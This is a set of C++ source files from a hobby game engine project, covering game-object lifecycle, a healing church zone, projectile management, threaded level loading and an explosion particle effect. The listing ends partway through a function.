"text": "#pragma once\n\nnamespace UER\n{\n\tclass GameObject\n\t{\n\tpublic:\n\t\tenum ThreadingFunction\n\t\t{\n\t\t\ttf_None = 0,\n\n\t\t\ttf_Awake = 1,\n\t\t\ttf_Start = 2,\n\t\t\t\n\t\t\ttf_Update = 4,\n\t\t\ttf_PreUpdate = 8,\n\t\t\ttf_PostUpdate = 16,\n\n\t\t\ttf_Render = 32,\n\t\t\ttf_PreRender = 64,\n\t\t\ttf_PostRender = 128,\n\t\t};\n\n\t\tGameObject();\n\t\tvirtual ~GameObject();\n\n\t\tvoid Revive()\n\t\t{\n\t\t\tm_isStartGO = false;\n\t\t\tm_isDeadGO = false;\n\t\t\tm_isActiveGO = true;\n\t\t\tm_nameGO = 0;\n\t\t\tm_prioGO = 0;\n\t\t\tm_isTrashTakeGO = false;\n\t\t}\n\n\t\tvirtual void Release() = 0;\n\n\t\t//デストラクラ\n\t\tvirtual void OnDestroy() =0;\n\t\t//早めのコンストラクタ\n\t\tvirtual void Awake() {};\n\t\t//スタート関数 戻り値がfalseの場合は次のフレームでもっかい呼ばれる\n\t\tvirtual bool Start() { return true; };\n\n\t\t//スタート関数でtrueが返ってきた次のフレームから毎フレーム呼ばれるようになる。 Updateの前に呼ばれる\n\t\tvirtual void PreUpdate() {};\n\t\t//スタート関数でtrueが返ってきた次のフレームから毎フレーム呼ばれるようになる。\n\t\tvirtual void Update() {};\n\t\t//スタート関数でtrueが返ってきた次のフレームから毎フレーム呼ばれるようになる。Updateの後に呼ばれる。\n\t\tvirtual void PostUpdate() {};\n\n\t\tvirtual void PreRender() {};\n\t\tvirtual void Render() {};\n\t\tvirtual void PrePostRender() {};\n\t\tvirtual void PostRender() {};\n\n\t\tvoid WrapOnDestroy(){}\n\t\tvoid WrapStart();\n\t\tvoid WrapPreUpdate();\n\t\tvoid WrapUpdate();\n\t\tvoid WrapPostUpdate();\n\t\tvoid WrapPreRender();\n\t\tvoid WrapRender();\n\t\tvoid WrapPrePostRender();\n\t\tvoid WrapPostRender();\n\n\t\t/*\n\t\tゲーム側では使わない\n\t\tFindGOとかで識別するための名前をセットする\n\t\t*/\n\t\tvoid SetName(int name)\n\t\t{\n\t\t\tm_nameGO = name;\n\t\t}\n\t\t/*\n\t\tゲーム側では使わない\n\t\t処理の優先度。数が低いほど先に呼ばれる。\n\t\t*/\n\t\tvoid SetPrio(int prio)\n\t\t{\n\t\t\tm_prioGO = prio;\n\t\t}\n\t\t//優先度を返す\n\t\tint GetPrio() const\n\t\t{\n\t\t\treturn m_prioGO;\n\t\t}\n\n\t\t//スタート関数でtrueが返ってきたか。\n\t\tbool IsStart() const\n\t\t{\n\t\t\treturn m_isStartGO;\n\t\t}\n\t\t//スタートした\n\t\tvoid DoneStart()\n\t\t{\n\t\t\tm_isStartGO = true;\n\t\t}\n\n\t\t//死んでる?\n\t\tbool IsDead() const\n\t\t{\n\t\t\treturn m_isDeadGO;\n\t\t}\n\t\t//死んだ\n\t\tvoid DoneDead()\n\t\t{\n\t\t\tm_isDeadGO = true;\n\t\t}\n\n\t\t//アクティブ?\n\t\tbool IsActive() const\n\t\t{\n\t\t\treturn m_isActiveGO;\n\t\t}\n\t\t//アクティブフラグをセットする\n\t\tvoid SetActive(bool b)\n\t\t{\n\t\t\tm_isActiveGO = b;\n\t\t}\n\n\t\t//ゴミ拾いをする\n\t\tvoid TrashTaking()\n\t\t{\n\t\t\tm_isTrashTakeGO = true;\n\t\t}\n\t\t//ゴミ拾いする?\n\t\tbool IsTrashTake() const\n\t\t{\n\t\t\treturn m_isTrashTakeGO;\n\t\t}\n\n\t\tvoid CreatInGameObjectManager()\n\t\t{\n\t\t\tm_isCreatedInGOM = true;\n\t\t}\n\t\tbool IsCreatedInGameObjedtManager() const\n\t\t{\n\t\t\treturn m_isCreatedInGOM;\n\t\t}\n\n\t\tvoid SetThreadingFunction(UINT flag)\n\t\t{\n\t\t\tm_threadingFunctionFlag = flag;\n\t\t}\n\t\tvoid AddThreadingFunciton(UINT flag)\n\t\t{\n\t\t\tm_threadingFunctionFlag |= flag;\n\t\t}\n\t\tUINT GetThreadingFunction() const\n\t\t{\n\t\t\treturn m_threadingFunctionFlag;\n\t\t}\n\n\tprivate:\n\t\tbool m_isStartGO = false;\t\t\t//スタート関数呼ばれた?\n\t\tbool m_isDeadGO = false;\t\t\t//死んだ?\n\t\tbool m_isActiveGO = true;\t\t\t//動ける?\n\n\t\tint m_nameGO = 0;\t\t\t\t\t//名前(hash値)\n\t\tint m_prioGO = 0;\t\t\t\t\t\t//プライオリティ\n\n\t\tbool m_isTrashTakeGO = false;\t//ゴミ拾う?\n\t\tbool m_isCreatedInGOM = false; //ゲームオブジェクトマネージャーで作成された。\n\n\t\tUINT m_threadingFunctionFlag = tf_None;\n\tprotected:\n\t};\n\n}\n\n"
},
{
"alpha_fraction": 0.6537585258483887,
"alphanum_fraction": 0.6543279886245728,
"avg_line_length": 14.017093658447266,
"blob_id": "d65306adaf7e0bd7d9f09fa451ed8c2981a0b0ba",
"content_id": "416fc9985fad4c7c701de2ea98930717feb9a295",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1756,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 117,
"path": "/Game/Church.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Church.h\"\n#include \"Fade.h\"\n#include \"GameManager.h\"\n#include \"Player/Player.h\"\n#include \"PowaPowa.h\"\n#include \"Fade.h\"\n#include \"GameSceneMenu.h\";\n\nChurch::Church()\n{\n\n}\n\nChurch::~Church()\n{\n\n}\n\n\nvoid Church::Release()\n{\n\tDeleteGO(m_powa);\n}\n\nvoid Church::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Church::Awake()\n{\n\n}\n\nbool Church::Start()\n{\n\n\tm_powa = NewGO<PowaPowa>(0);\n\treturn true;\n}\n\n\nvoid Church::PreUpdate()\n{\n\n}\n\nvoid Church::Update()\n{\n\tauto player = GameManager::GetInstance().GetPlayer();\n\tif (player == nullptr) return;\n\n\tauto len = (player->GetPosition() - m_pos).Length();\n\n\tif (len < m_Range) {\n\t\t//printf(\"player is in chruch\\n\");\n\t\tplayer->SetChruchFlag(true);\n\t}\n\telse {\n\t\tplayer->SetChruchFlag(false);\n\t\t//printf(\"player is not in chruch\\n\");\n\t}\n\n\t auto& fade = Fade::GetInstance();\n\t fade.Update();\n\tauto menu = GameManager::GetInstance().GetMenu();\n\n\tif (fade.IsFaded() and m_doHealPlayer) {\n\t\tplayer->ChargeEndurance(player->GetMaxEndurance());\n\t\tplayer->ChargeBoost(player->GetMaxBoost());\n\t\tplayer->Heal(player->GetMaxHP());\n\t\tm_doHealPlayer = false;\n\t\tfade.FadeIn();\n\t\tm_isFadingIn = true;\n\t}\n\n\tif (m_isFadingIn) {\n\t\tif (fade.IsFaded()) {\n\t\t\tm_isFadingIn = false;\n\t\t\tmenu->ResumeGame();\n\t\t}\n\t}\n}\n\nvoid Church::PostUpdate()\n{\n\n}\n\n\nvoid Church::Render()\n{\n\n}\n\nvoid Church::PostRender()\n{\n\n}\n\n\nconst bool Church::IsPossibleToHeal() {\n\tauto player = GameManager::GetInstance().GetPlayer();\n\tauto len = (player->GetPosition() - m_powa->GetPosition()).Length();\n\treturn len < m_powa->GetRange() and Fade::GetInstance().GetState() == Fade::State::enIdle;\n}\n\nvoid Church::DoHeal() {\n\n\tauto menu = GameManager::GetInstance().GetMenu();\n\tFade::GetInstance().FadeOut();\n\tm_doHealPlayer = true;\n\tmenu->PauseGame();\n\n}"
},
{
"alpha_fraction": 0.6479610800743103,
"alphanum_fraction": 0.6644219756126404,
"avg_line_length": 17.44137954711914,
"blob_id": "74edb21c12b8026f448dde0839394a69c933ef2e",
"content_id": "ffd6c3b05c4c3deea303d1a80c81afd197b6e120",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2975,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 145,
"path": "/Game/Player/Attack/Projectile.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../../Player/State/IPlayerSstate.h\"\n\n/// <summary>\n/// \n/// </summary>\nclass Projectile :public GameObject\n{\npublic:\n\tProjectile();\n\tvirtual ~Projectile();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\tvoid Init(const Vector3& pos, float scale, const Vector3& dir, float speed, float timeLimit, float attackRenge);\n\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\tvoid Init(const Vector3& startPos, const Vector3 velocity) {\n\t\tm_position = startPos;\n\t\tm_velocity = velocity;\n\t}\n\n\tconst Vector3& GetPosition() const {\n\t\treturn m_position;\n\t}\n\nprivate:\n\n\tfloat m_lifeSpanSec = 10.f;\n\t float m_speed = 100.f;\n\tfloat m_range = 30.f;\n\tconst float m_damage = 10.f / 4.f *1.f / 5.f;\n\n\n\tfloat m_lifeTimerSec = 0.0f;\n\n\t//Model\n\t//ModelRender* m_model = nullptr;\n\tVector3 m_position = { 0,15,-20 };\n\tVector3 m_velocity = { 0,0,0 };\n\tQuaternion m_rotation = Quaternion::Identity;\n\t//const float m_scale = 1.f;\n\n\n\t//\n\tfloat m_scale;\n\tVector3 m_dir;\n\n\t//float m_timer = 0.f;\n\t//float m_timeLimit = 0.f;\n\n\tSphereCollider m_sphere;\n\n\n\tVector3 m_pos;\n\tQuaternion m_rot;\n\tVector3 m_sca;\n\n\tint m_instanceNum = 0;\n\tMatrix* m_worldMatrix = nullptr;\n};\n\n\n/// ///////////////////////\n\nclass PlayerBulletManager final : public GameObject\n{\npublic:\n\tstatic PlayerBulletManager* GetInstance();\t\n\n\tvoid Release() override;\n\tvoid OnDestroy() override;\n\n\tvoid Awake() override;\n\n\tvoid PostUpdate() override;\n\n\tvoid Allocate(int num);\n\n\tstd::pair<int, Matrix*> GetInstanceMatrix();\n\n\tvoid AddInstance();\n\tvoid DeadInstance(int num);\n\n\tvoid InstanceNULL()\n\t{\n\t\tfor (int i = 0; i < m_usingMatrix.size(); i++)\n\t\t{\n\t\t\tm_usingMatrix[i] = false;\n\t\t}\n\t\tm_model->SetInstanceNum(0);\n\t}\nprivate:\n\tStructuredBuffer m_structuredBuff;\n\tstd::vector<Matrix> m_instanceMatrix;\n\tstd::vector<bool> m_usingMatrix;\n\tModelRender* m_model = 0;\n\n\tstd::mutex m_mutex;\n\n\tstd::vector<Projectile*> m_bulletList;\n\tint m_bulletNum = 0;\n\tint m_nextAllocateActiveNum = 6;\n\tint m_allocElementNum = 30;\n\tThreadObject m_thread;\n\n\tbool m_isAllocate = false;\n\tint m_oldNum = 0;\n};\n\nextern PlayerBulletManager* g_playerBulletManager;"
},
{
"alpha_fraction": 0.634223997592926,
"alphanum_fraction": 0.6541603207588196,
"avg_line_length": 26.6628360748291,
"blob_id": "7421a0343f2d176a223e8d8e6970297ea2d00607",
"content_id": "8edc55b04b5a7a122f9f64686f94d3086424d943",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7359,
"license_type": "no_license",
"max_line_length": 159,
"num_lines": 261,
"path": "/Game/Level/GameStage.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"GameStage.h\"\n\n\nGameStage::GameStage()\n{\n\n}\n\nGameStage::~GameStage()\n{\n\n}\n\n\n\nvoid GameStage::Release()\n{\n\tm_threadForLevel.Release();\n\tstd::for_each(m_mapmodel.begin(), m_mapmodel.end(), [](ModelRender* model) { DeleteGO(model); });\n\tDeleteGO(m_sandSmoke);\n\tstd::for_each(m_mbgs.begin(), m_mbgs.end(), [](ModelRender* model) { DeleteGO(model); });\n}\n\nvoid GameStage::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid GameStage::Awake()\n{\n\n}\nstatic std::mutex RigidBodyMutex;\nbool GameStage::Start()\n{\n\tm_threadForLevel.Execute([&]()\n\t\t{\n\t\t\tStopwatch sw;\n\t\t\tsw.Start();\n\t\t\tModelInitData mid;\n\t\t\tmid.m_upAxis = EUpAxis::enUpAxisZ;\n\t\t\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\t\t\tmid.m_vsEntryPointFunc = \"VSMain\";\n\t\t\tmid.m_psEntryPointFunc = \"PSMain_nor\";\n\t\t\t//m_level.Init(\"Assets/level/map_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t\tm_level.Init(\"Assets/level/map_commit_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t\t\t{\n\t\t\t\t\tstd::string name(objData.name.begin(), objData.name.end());\n\t\t\t\t\tchar filePath[256];\n\t\t\t\t\t//sprintf_s(filePath, \"Assets/modelData/map/%s.tkm\", name.c_str());\n\t\t\t\t\tsprintf_s(filePath, \"Assets/modelData/map/commit/%s.tkm\", name.c_str());\n\t\t\t\t\tModelRender* mr = NewGO<ModelRender>(0);\n\t\t\t\t\tmr->SetScale(Vector3::One * m_levelScale);\n\t\t\t\t\tmid.m_tkmFilePath = filePath;\n\t\t\t\t\tmr->Init(mid);\n\t\t\t\t\tm_mapmodel.push_back(mr);\n\t\t\t\t\t//mr->SetMulColor({ 0.8,0.7,0.3,1 });\n\t\t\t\t\tmr->SetMulColor({ 0.4,0.4,0.4,1 });\n\t\t\t\t\treturn true;\n\t\t\t\t});\n\n\t\t\t{\n\t\t\t\t/*mid.m_upAxis = EUpAxis::enUpAxisY;\n\t\t\t\tm_mapDeco[0] = NewGO<ModelRender>(0);\n\t\t\t\tm_mapDeco[0]->SetScale(Vector3::One * m_levelScale);\n\t\t\t\tmid.m_tkmFilePath = \"Assets/modelData/map_deco/map_middle.tkm\";\n\t\t\t\tm_mapDeco[0]->Init(mid);\n\t\t\t\tm_mapDeco[0]->SetMulColor({ 0.4,0.4,0.4,1 });\n\n\t\t\t\tm_mapDeco[1] = NewGO<ModelRender>(0);\n\t\t\t\tm_mapDeco[1]->SetScale(Vector3::One * m_levelScale);\n\t\t\t\tmid.m_tkmFilePath = \"Assets/modelData/map_deco/map_far.tkm\";\n\t\t\t\tm_mapDeco[1]->Init(mid);\n\t\t\t\tm_mapDeco[1]->SetMulColor({ 0.4,0.4,0.4,1 });*/\n\t\t\t}\n\n\t\t\t//m_isEndLoad = true;\n\t\t});\n\t{\n\n\t}\n\t{\n\t\t\n\t}\n\n\tm_threadForCreatingMeshCol.Execute([&]() {\n\t\t{\n\t\t\tModelInitData mid;\n\t\t\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\t\t\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\t\t\tmid.m_vsEntryPointFunc = \"VSMain\";\n\t\t\tmid.m_psEntryPointFunc = \"PSMain\";\n\t\t\t//m_level.Init(\"Assets/level/map_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t\tm_footholdLevel.Init(\"Assets/level/map_commit_obj_level2.tkl\", [&](LevelObjectData& objData)->bool\n\t\t\t\t{\n\t\t\t\t\tstd::string name(objData.name.begin(), objData.name.end());\n\t\t\t\t\tchar filePath[256];\n\t\t\t\t\t//sprintf_s(filePath, \"Assets/modelData/map/%s.tkm\", name.c_str());\n\t\t\t\t\tsprintf_s(filePath, \"Assets/modelData/map_obj/%s.tkm\", name.c_str());\n\t\t\t\t\tModelRender* mr = NewGO<ModelRender>(0);\n\t\t\t\t\tmr->SetScale(objData.scale * m_levelScale);\n\t\t\t\t\tmr->SetPosition(objData.position * m_levelScale);\n\t\t\t\t\tmr->SetRotation(objData.rotation);\n\t\t\t\t\tmid.m_tkmFilePath = filePath;\n\t\t\t\t\tmr->Init(mid);\n\t\t\t\t\tm_mapmodel.push_back(mr);\n\t\t\t\t\tmr->SetMulColor({ 0.6,0.6,0.6,1 });\n\n\n\t\t\t\t\tRigidBodyMutex.lock();\n\n\t\t\t\t\tm_mapObjPSOList[m_mapObjPSOCount].CreateMeshObject(mr->GetModel(), objData.position * m_levelScale, objData.rotation, objData.scale * m_levelScale, true);\n\t\t\t\t\tm_mapObjPSOList[m_mapObjPSOCount].GetRigidBody().GetBody()->setUserIndex(enCollisionAttr_Ground);\n\t\t\t\t\tPhysics().AddRigidBody(m_mapObjPSOList[m_mapObjPSOCount].GetRigidBody());\n\t\t\t\t\tm_mapObjPSOCount++;\n\n\t\t\t\t\tRigidBodyMutex.unlock();\n\t\t\t\t\treturn true;\n\t\t\t\t});\n\t\t}\n\t\tModelInitData mid;\n\t\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\t\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\t\tmid.m_vsEntryPointFunc = \"VSMain\";\n\t\tmid.m_psEntryPointFunc = \"PSMain\";\n\n\t\tmid.m_tkmFilePath = \"Assets/modelData/map/map_wall.tkm\";\n\t\tModel model;\n\t\tmodel.Init(mid);\n\n\t\tRigidBodyMutex.lock();\n\n\t\t//m_mapWall.CreateMeshObject(model, Vector3::Zero, Quaternion::Identity, { 100,100,100 });\n\n\t\tRigidBodyMutex.unlock();\n\t\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\t\t//m_phyLevel.Init(\"Assets/level/map_physics_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\tm_phyLevel.Init(\"Assets/level/map_physics_commit_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t\t{\n\t\t\t\tstd::string name(objData.name.begin(), objData.name.end());\n\t\t\t\tchar filePath[256];\n\t\t\t\t//sprintf_s(filePath, \"Assets/modelData/map_physics/%s.tkm\", name.c_str());\n\t\t\t\tsprintf_s(filePath, \"Assets/modelData/map_physics_/%s.tkm\", name.c_str());\n\t\t\t\tmid.m_tkmFilePath = filePath;\n\n\t\t\t\tModel model;\n\t\t\t\tmodel.Init(mid);\n\n\t\t\t\tRigidBodyMutex.lock();\n\t\t\t\t//スレッドでBulletにgiridBodyを積んでいくと競合する可能性があるので、ひとまずメンバにスタックしておくゾ。\n\t\t\t\tm_rigidBodys.push_back(m_mapPSOList[m_count].CreateMeshObject(model, objData.position, objData.rotation, objData.scale * m_levelScale,true));\n\t\t\t\tm_count++;\n\t\t\t\tRigidBodyMutex.unlock();\n\t\t\t\treturn true;\n\t\t\t});\n\t\tm_isLoaded = true;\n\t\tDebugPrint_WATA(\"Level meash has been created\");\n\n\t\tm_decoLevel.Init(\"Assets/level/map_MBG_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t\t{\n\t\t\t\tModelInitData mid;\n\t\t\t\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\t\t\t\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\t\t\t\tmid.m_vsEntryPointFunc = \"VSMain\";\n\t\t\t\tmid.m_psEntryPointFunc = \"PSMain\";\n\t\t\t\tmid.m_tkmFilePath = \"Assets/modelData/m_BG/m_BG1.tkm\";\n\t\t\t\tModelRender* m = NewGO<ModelRender>(0);\n\t\t\t\tm->Init(mid);\n\t\t\t\tm->SetPosition(objData.position * m_levelScale);\n\t\t\t\tm->SetRotation(objData.rotation);\n\t\t\t\tm->SetScale(objData.scale * m_levelScale);\n\t\t\t\tm->SetMulColor({ 1,0.8,0.4,1. });\n\t\t\t\tm_mbgs.push_back(m);\n\t\t\t\treturn true;\n\t\t\t});\n\t\t});\n\n\t\n\n\n\tm_sandSmoke = NewGO<VolumetricEffectRender>(0);\n\tm_sandSmoke->Init(\"Assets/modelData/test/block.tkm\");\n\tm_sandSmoke->SetPos({ 0,200,0 });\n\tm_sandSmoke->SetSca({ 850,200,850 });\n\t{\n\t\tauto& fd = m_sandSmoke->GetFogData();\n\t\tfd.rayCount = 30;\n\t\tfd.rayLen = 16.f;\n\t\tfd.concentration = 0.015*8./3.;\n\t\tfd.decayCenterToXZ = 0.0f;\n\t\tfd.decayCenterToY = 0.0f;\n\t\tfd.ratioParlinWorley = 0.f;\n\t\tfd.ratioParlin = 1.f;\n\t\tfd.perlinScale = 0.02f;\n\t\tfd.color = { .7,.65,.55 };\n\t\t//fd.ratioParlin = \n\t}\n\n\t\n\n\tstatic float i = 1;\n\tDebugSwitchAddButton(DebugSwitchNewSwitch_Button('Z', VK_LEFT, [&]()\n\t\t{\n\t\t\ti*=0.5f;\n\t\t\tauto& fd = m_sandSmoke->GetFogData();\n\t\t\tfd.rayCount = 30.f * i;\n\t\t\tfd.rayLen = 16.f / i;\n\t\t\tfd.concentration = 0.015 * 8. / 3. / i;\n\t\t}));\n\tDebugSwitchAddButton(DebugSwitchNewSwitch_Button('Z', VK_RIGHT, [&]()\n\t\t{\n\t\t\ti *= 2;\n\t\t\tif (i > 1.f)\n\t\t\t\ti = 1.f;\n\t\t\tauto& fd = m_sandSmoke->GetFogData();\n\t\t\tfd.rayCount = 30 * i;\n\t\t\tfd.rayLen = 16.f / i;\n\t\t\tfd.concentration = 0.015 * 8. / 3. / i;\n\t\t}));\n\n\n\t\n\n\treturn true;\n}\n\n\nvoid GameStage::PreUpdate()\n{\n\n}\n\nvoid GameStage::Update()\n{\n\t{\n\t\tauto& fd = m_sandSmoke->GetFogData();\n\t\tfd.offset.y -= 3.f * gameTime()->GetDeltaTime();\n\t}\n\n\n\t//メンバにスタックしたrigidBodyを一気にBulletに詰め込んでゆくゾ。\n\tif (m_threadForCreatingMeshCol.IsEnd() && !m_isRegistRigidBody)\n\t{\n\t\tfor (auto& rb : m_rigidBodys)\n\t\t{\n\t\t\tPhysics().AddRigidBody(*rb);\n\t\t\trb->GetBody()->setUserIndex(enCollisionAttr_None);\n\t\t\trb->GetBody()->setUserIndex(enCollisionAttr_Ground);\n\t\t\trb->GetBody()->setCollisionFlags(btCollisionObject::CF_STATIC_OBJECT);\n\t\t\t//rb->GetBody()->setActivationState(DISABLE_DEACTIVATION);;\n\t\t}\n\t\tm_isRegistRigidBody = true;\n\t}\n}\n\nvoid GameStage::PostUpdate()\n{\n\n}\n\n\n\n"
},
{
"alpha_fraction": 0.5585601329803467,
"alphanum_fraction": 0.5913959741592407,
"avg_line_length": 22.138212203979492,
"blob_id": "4d495e3382c095d23183c068a4e87a8393bc0e09",
"content_id": "1955a74e73c9531abde856f4fa4e4d533a8f1eec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5695,
"license_type": "no_license",
"max_line_length": 121,
"num_lines": 246,
"path": "/Game/Effect/ExplosionEffect.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"ExplosionEffect.h\"\n\n\nExplosionEffect::ExplosionEffect()\n{\n\n}\n\nExplosionEffect::~ExplosionEffect()\n{\n\n}\n\n\n\nvoid ExplosionEffect::Release()\n{\n\tDeleteGO(m_effect);\n}\n\nvoid ExplosionEffect::OnDestroy()\n{\n\tRelease();\n}\n\nvoid ExplosionEffect::Init()\n{\n\tRelease();\n\n\tenum class ParticleKind\n\t{\n\t\tBig,\n\t\tPiece,\n\t\tRise,\n\t\tGass,\n\t};\n\tstruct ParticleData\n\t{\n\t\tVector3 pos;\n\t\tVector3 dir;\n\t\tfloat lifeTime;\n\t\tParticleKind kind;\n\t};\n\tPlaneParticleEffectInitData pid;\n\tpid.m_ddsFilePath = L\"Assets/Image/illumination.dds\";\n\tpid.m_height = 10;\n\tpid.m_width = 10;\n\tpid.m_extendDataSize = sizeof(ParticleData);\n\tpid.m_isBillboard = true;\n\t\n\tPlaneParticleUpdater m_effctUpdater(\n\t\t[&]PLANE_PARTICLE_GENERATE_FUNC(pThis, deltaTime)\n\t{\n\t\t{\n\t\t\tVector4 col = { 3.f,1.f,0.3f,1.f };\n\t\t\t//float rotRad = Math::PI2 / m_circleNum;\n\t\t\t//float stNum = static_cast<float>(m_circleStrokeNum - 1);\n\t\t\tif (m_particleTimer < 0.6f)\n\t\t\t{\n\t\t\t\tfor (int i = 0; i < 10; i++)\n\t\t\t\t{\n\t\t\t\t\tVector3 pos(GRandom().Rand() - 0.5, GRandom().Rand() - 0.5, GRandom().Rand() - 0.5);\n\t\t\t\t\tpos *= 0.f * 2.f;\n\t\t\t\t\tParticleData pd;\n\t\t\t\t\tpd.dir = pos;\n\n\t\t\t\t\tpd.dir.Normalize();\n\t\t\t\t\tpd.lifeTime = GRandom().Rand() * 3.;\n\t\t\t\t\tpd.kind = ParticleKind::Big;\n\t\t\t\t\tpd.pos = pos;\n\n\t\t\t\t\tpThis->AddParticle(pos, g_vec3One * (max(GRandom().Rand(), 0.5) * 5.), g_quatIdentity, col, pd.lifeTime, pd, false);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (m_particleTimer < 0.2f)\n\t\t\t{\n\t\t\t\tfor (int i = 0; i < 20; i++)\n\t\t\t\t{\n\t\t\t\t\tVector3 pos(GRandom().Rand() - 0.5, GRandom().Rand() - 0.5, GRandom().Rand() - 0.5);\n\t\t\t\t\tpos *= 20.f * 2.f;\n\n\t\t\t\t\tParticleData pd;\n\t\t\t\t\tpd.pos = pos;\n\t\t\t\t\tpd.dir = pos;\n\t\t\t\t\tpd.dir.y += 20.f;\n\t\t\t\t\tpd.dir.Normalize();\n\t\t\t\t\tpd.lifeTime = GRandom().Rand() * 1.;\n\t\t\t\t\tpd.kind = ParticleKind::Piece;\n\t\t\t\t\tpThis->AddParticle(pos, g_vec3One * (GRandom().Rand() * 0.5), g_quatIdentity, col, pd.lifeTime, pd, false);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif (m_particleTimer > 0.1f && m_particleTimer < 0.5f)\n\t\t\t{\n\t\t\t\tfor (int i = 0; i < 10; i++)\n\t\t\t\t{\n\t\t\t\t\tVector3 pos(GRandom().Rand() - 0.5, GRandom().Rand() - 0.5, GRandom().Rand() - 0.5);\n\t\t\t\t\tpos *= 20.f * 2.f;\n\n\t\t\t\t\tParticleData pd;\n\t\t\t\t\tpd.pos = pos;\n\t\t\t\t\tpd.dir = pos;\n\t\t\t\t\tpd.dir.y += 0.f;\n\t\t\t\t\tpd.dir.Normalize();\n\t\t\t\t\tpd.lifeTime = GRandom().Rand() * 1.5;\n\t\t\t\t\tpd.kind = ParticleKind::Rise;\n\t\t\t\t\tpd.dir.x = GRandom().Rand() * 80.;\n\t\t\t\t\tpThis->AddParticle(pos, g_vec3One * (GRandom().Rand() * 3.), g_quatIdentity, col, pd.lifeTime, pd, true);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (m_particleTimer > 0.2f && m_particleTimer < 1.3f)\n\t\t\t{\n\t\t\t\tfor (int i = 0; i < 7; i++)\n\t\t\t\t{\n\t\t\t\t\tVector3 pos(GRandom().Rand() - 0.5, GRandom().Rand() - 0.5, GRandom().Rand() - 0.5);\n\t\t\t\t\tpos *= 15.f * 2.f;\n\t\t\t\t\tpos.y += GRandom().Rand() * 45.;\n\t\t\t\t\tParticleData pd;\n\t\t\t\t\tpd.pos = pos;\n\t\t\t\t\tpd.dir = pos;\n\t\t\t\t\tpd.dir.y += 40.f;\n\t\t\t\t\tpd.dir.Normalize();\n\t\t\t\t\tpd.lifeTime = GRandom().Rand() * 1.;\n\t\t\t\t\tpd.kind = ParticleKind::Gass;\n\t\t\t\t\tpd.dir.x = GRandom().Rand() * 80.;\n\t\t\t\t\tpThis->AddParticle(pos, g_vec3One * (GRandom().Rand() * 4.), g_quatIdentity, col, pd.lifeTime, pd, true);\n\t\t\t\t}\n\t\t\t}\n\t\t\t//m_isPlay = false;\n\t\t\t//pThis->SetGenerateFlag(false);\n\t\t}\n\t\tm_particleTimer += deltaTime;\n\t},\n\t\t[&]PLANE_PARTICLE_UPDATE_FUNC(data, deltaTime, extendData)\n\t{\n\t\tVector4 col = { 3.f,1.f,0.3f,1.f };\n\t\tVector4 colE = { 3.f,1.f,0.3f,0.f };\n\t\tParticleData* pd = reinterpret_cast<ParticleData*>(extendData);\n\t\tfloat t = data.lifeTime / pd->lifeTime;\n\t\tswitch (pd->kind)\n\t\t{\n\t\tcase ParticleKind::Big:\n\t\t{\n\t\t\tdata.particleData.pos = pd->pos + pd->dir * (60 * (1.f-powf(1.f-(1.f-t),16.f)));\n\n\t\t\tdata.particleData.mulColor.Lerp(t, colE, col);\n\t\t}\n\t\t\tbreak;\n\t\tcase ParticleKind::Piece:\n\t\t{\n\t\t\tauto v = pd->dir * (t - 0.5f * 2.f * (t * t)) * 50.;\n\t\t\tdata.particleData.pos += v;\n\t\t\tdata.particleData.pos.y = pd->pos.y + v.y;\n\t\t\t\n\t\t\tdata.particleData.mulColor.Lerp(t, colE, col);\n\t\t}\n\t\t\tbreak;\n\t\tcase ParticleKind::Rise:\n\t\t{\n\t\t\tdata.particleData.pos.y += 3.f;\n\t\t\tdata.particleData.pos.y = pd->pos.y + (pd->dir.x * 